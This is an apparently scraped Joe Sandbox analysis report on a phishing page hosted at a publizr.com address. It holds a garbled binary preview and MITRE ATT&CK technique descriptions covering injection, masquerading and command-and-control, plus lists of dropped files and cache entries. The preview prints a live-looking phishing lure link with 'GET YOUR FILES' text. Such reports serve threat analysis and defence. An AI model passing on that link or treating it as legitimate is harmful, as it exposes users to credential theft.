Preview:	.?..B!..C.....................u..........+hKFadndDEbaDIFiuh6oJD_tzuBm8gbjJ-klWExfoFAs......`......i..-.....+vAjrRAMzKnhVBrIdu5lnG_hv7EyTYrHL1pPFDDmPTwQ.,b.`......@........+GaMYTv7o548gK86daDp7ej_h862T30vQFt3Pp0zkRNE..7.`......3........g..G..=...#........g..G..=..."...............I..9..H...=https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html.G............r.......E.....g..G..=... .E..GET YOUR FILES......+GaMYTv7o548gK86daDp7ej_h862T30vQFt3Pp0zkRNE..7.`......3........g..G..=...!.....g..G..=... .....,...,.2..>.....3.....'''..'''....Allied Construction.....g....D..T

Static File Info

⊘No static file info

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://publizr.com/alliedcon/allied-construction

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Created / dropped Files

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\LICENSE

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\keys.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\manifest.fingerprint

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_1382567877\manifest.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986\cr_en-us_500000_index.bin

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986\manifest.fingerprint

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6188_413624986\manifest.json

Chrome Cache Entry: 100

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 120

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Windows Analysis Report
https://publizr.com/alliedcon/allied-construction